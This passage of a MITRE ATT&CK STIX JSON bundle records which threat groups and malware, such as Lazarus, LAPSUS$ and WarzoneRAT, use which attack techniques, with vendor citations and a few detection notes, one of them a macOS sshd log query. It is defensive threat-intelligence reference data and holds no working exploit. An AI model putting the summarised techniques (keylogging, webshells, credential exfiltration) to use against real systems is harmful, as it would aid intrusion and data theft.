2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:58:10.958Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) added the “hidden” file attribute to original files, manipulating victims to click on malicious LNK files.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b24b8de-944d-49ea-a15f-cb732aeb31de","type":"relationship","created":"2020-02-10T20:03:11.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-10T20:03:11.833Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b255cef-7177-48b8-ade1-752314f90b7e","created":"2020-03-27T21:01:19.133Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"McAfee-GhostSecret-fixurl","description":"Ryan Sherstobitoff. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved August 15, 2024.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T15:55:07.596Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware also uses a unique form of communication encryption known as FakeTLS that mimics TLS but uses a different encryption method, potentially evading SSL traffic inspection/decryption.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee-GhostSecret-fixurl)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b267d23-7c3c-41cd-878e-5466e0743340","created":"2024-03-01T19:18:12.524Z","revoked":false,"external_references":[{"source_name":"Leonard TAG 2023","description":"Billy Leonard. (2023, April 19). Ukraine remains Russia’s biggest cyber focus in 2023. Retrieved March 1, 2024.","url":"https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T19:18:12.524Z","description":"[APT28](https://attack.mitre.org/groups/G0007) hosted phishing domains on free services for brief periods of time during campaigns.(Citation: Leonard TAG 2023)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b2b0719-c82e-4d1f-b34c-7ed5dd5c8968","type":"relationship","created":"2020-06-30T22:03:27.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-30T22:03:27.016Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) can use email attachments for command and control.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b2b567c-718c-485f-b187-2bf6c6bb0c76","created":"2022-10-18T15:43:44.196Z","revoked":false,"external_references":[{"source_name":"Unit 42 PingPull Jun 2022","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022.","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T15:43:44.196Z","description":"[PingPull](https://attack.mitre.org/software/S1031) can use HTTPS over port 8080 for C2.(Citation: Unit 42 PingPull Jun 2022)","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b2d53db-2f5c-4dc7-97de-f0c12e22472c","type":"relationship","created":"2022-02-18T13:42:42.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Roadtools","url":"https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/","description":"Dirk-jan Mollema. (2020, April 16). Introducing ROADtools - The Azure AD exploration framework. Retrieved January 31, 2022."}],"modified":"2022-04-01T13:27:48.564Z","description":"[ROADTools](https://attack.mitre.org/software/S0684) can enumerate Azure AD systems and devices.(Citation: Roadtools)","relationship_type":"uses","source_ref":"tool--6dbdc657-d8e0-4f2f-909b-7251b3e72c6d","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b2f8d87-ea92-48a8-a895-5fe98b01d2b6","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-11T20:23:43.538Z","description":"Monitor for user accounts logged into systems that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). For example, on Linux systems SSH logon activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.\n\nFor Linux systems, the Audit framework (auditd) can be used to monitor any writes to SSH log files that store information about logged in accounts such as /var/log/auth.log.\n\nFor macOS systems (10.12+), Unified Logs can be queried to show SSH daemon (sshd) messages that include information on logged in accounts. The following command-line can be used to query the last hour’s worth of unified logs in this manner: log show -info --debug --predicate 'processImagePath CONTAINS \"sshd\" AND eventMessage CONTAINS \"Accepted\"' --last 1h | grep sshd ","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b33093f-14c3-485e-8d82-f04ebcbe6d01","created":"2022-06-10T16:24:47.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T12:34:05.173Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) uploaded sensitive files, information, and credentials from a targeted organization for extortion or public release.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b36c1d0-d016-4c12-bf61-6dc14b29c7e0","type":"relationship","created":"2017-05-31T21:33:27.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2019-07-14T21:15:55.098Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have split RAR files for exfiltration into parts.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b37289c-b118-45f7-98b2-5efe06cbf0b2","type":"relationship","created":"2020-06-02T15:39:14.548Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT November 2018","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/","description":"Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."},{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-10T15:05:57.806Z","description":"[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to determine the operating system of the compromised host and whether Windows is being run with x86 or x64 architecture.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)","relationship_type":"uses","source_ref":"malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b3809c3-78a5-4121-9b51-64a9dfa60b11","type":"relationship","created":"2021-10-12T22:10:04.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2021-10-12T22:10:04.292Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) has obtained and used tools such as [Impacket](https://attack.mitre.org/software/S0357), [Winexe](https://attack.mitre.org/software/S0191), and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0b3b2d98-213c-487f-b526-9336c2ed4555","created":"2021-12-27T17:40:56.729Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."},{"source_name":"Uptycs Warzone UAC Bypass November 2020","url":"https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique","description":"Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) has the capability to install a live and offline keylogger, including through the use of the `GetAsyncKeyState` Windows API.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020) ","modified":"2022-04-15T14:30:04.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b3fcc39-fb57-45a6-a491-e5bcd9a29d51","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Recorded Future Beacon Certificates","description":"Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/cobalt-strike-servers"},{"source_name":"Splunk Kovar Certificates 2017","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:19:41.568Z","description":"Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.","relationship_type":"detects","source_ref":"x-mitre-data-component--1dad5aa4-4bb5-45e4-9e42-55d40003cfa6","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b41b24d-3a8b-4d73-95bf-9b5b486978d8","type":"relationship","created":"2021-04-13T13:10:37.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T13:10:37.036Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can gain remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b440f89-cffb-458c-bc16-c64af09230c6","type":"relationship","created":"2021-09-28T19:57:30.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-28T20:02:51.497Z","description":"[BoxCaon](https://attack.mitre.org/software/S0651) can execute arbitrary commands and utilize the \"ComSpec\" environment variable.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b46eb26-ebc0-4fa7-8925-9b775571f793","created":"2021-10-01T01:57:31.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ATT TeamTNT Chimaera September 2020","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera"},{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.699Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used a payload that removes itself after running. [TeamTNT](https://attack.mitre.org/groups/G0139) also has deleted locally staged files for collecting credentials or scan results for local IP addresses after exfiltrating them.(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b4b6ab2-df1f-4142-bbfa-5f26980d805b","created":"2024-07-19T18:25:21.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-19T18:55:59.900Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) delivered [Pikabot](https://attack.mitre.org/software/S1145) installers as password-protected ZIP files containing heavily obfuscated JavaScript, or IMG files containing an LNK mimicking a Word document and a malicious DLL.(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b4cd78b-e0af-4123-b2aa-02ad66cca419","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Briba May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99"}],"modified":"2021-02-09T14:56:14.783Z","description":"[Briba](https://attack.mitre.org/software/S0204) installs a service pointing to a malicious DLL dropped to disk.(Citation: Symantec Briba May 2012)","relationship_type":"uses","source_ref":"malware--79499993-a8d6-45eb-b343-bf58dea5bdde","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b4ebc81-20fe-45f1-a93f-e6ca03c89114","type":"relationship","created":"2020-03-18T18:52:41.021Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2020-03-18T18:52:41.021Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used python scripts.(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b512662-8eb8-424d-99c5-4f76d1d70276","type":"relationship","created":"2021-05-26T12:46:28.310Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}],"modified":"2021-05-26T12:46:28.310Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has obtained and customized publicly-available tools like [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Symantec Waterbug Jun 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b51c002-4a22-413c-9d6d-ffd7fd625736","created":"2023-09-18T18:37:28.483Z","revoked":false,"external_references":[{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-18T18:37:28.483Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used TLS encrypted C2 communications including for campaigns using AsyncRAT.(Citation: Cisco Operation Layover September 2021)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b5338ac-c1ca-4296-b06c-44d3730c8557","created":"2024-10-01T12:01:51.808Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-01T12:01:51.808Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) deployed various malware such as YouieLoader that can perform system user discovery actions.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b582433-b5e6-49d7-886c-e1edd1a0a802","type":"relationship","created":"2020-05-06T21:31:07.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.597Z","description":"[Okrum](https://attack.mitre.org/software/S0439) was seen using a RAR archiver tool to compress/decompress data.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b58e2e5-9be5-4132-a65f-19db8acd7033","created":"2023-02-16T16:51:36.388Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 